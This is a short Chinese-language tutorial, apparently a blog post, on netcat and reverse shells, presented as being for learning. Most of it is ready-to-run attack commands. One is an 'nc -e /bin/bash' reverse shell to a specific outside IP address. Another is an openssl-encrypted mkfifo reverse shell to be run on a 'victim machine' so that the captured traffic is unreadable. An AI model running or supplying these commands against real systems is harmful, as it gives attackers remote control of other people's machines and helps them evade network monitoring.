免责声明:本节仅做技术交流与学习...
目录
介绍:
用法:
未加密--流量抓包
加密:
攻击端
靶机
抓包分析:
介绍:
nc 是一个Linux环境下常用的工具命令，可以用来帮助开发者查询和解决网路问题，通常被认为是 NetCat 工具的缩写，在网络工具中有“瑞士军刀”的美誉。
nc 在Linux环境下常常是自带的，如果你使用的Linux发行版本没有这个工具也可以自行安装，比如在CentOS上的安装命令就是 yum install nc -y，并且这个工具在Windows上也可以直接下载使用，下载页面地址为 netcat，简约而不简单。
用法:
nc -lvvp 5566
nc -e /bin/bash 47.94.236.117 5566
nc -e cmd ip port
nc -lvvp port
https://www.cnblogs.com/someone9/p/8667117.html
linux学习之nc工具操作_慕课手记
网络工具nc的常见功能和用法-CSDN博客
未加密--流量抓包
nc -lvvp 5566
nc -e /bin/bash 47.94.236.117 5566
加密:
攻击端
生成自签名证书 :
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
--全部回车--(全部默认)监听指定端口，这里我选择 8888 :
openssl s_server -quiet -key key.pem -cert cert.pem -port 8888
---监听---上线---执行命令
靶机
在受害机上执行 shell 反弹命令(注意修改 ip 和端口)
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 47.94.236.117:8888 > /tmp/s; 
抓包分析:
---数据都被加密了.
】)
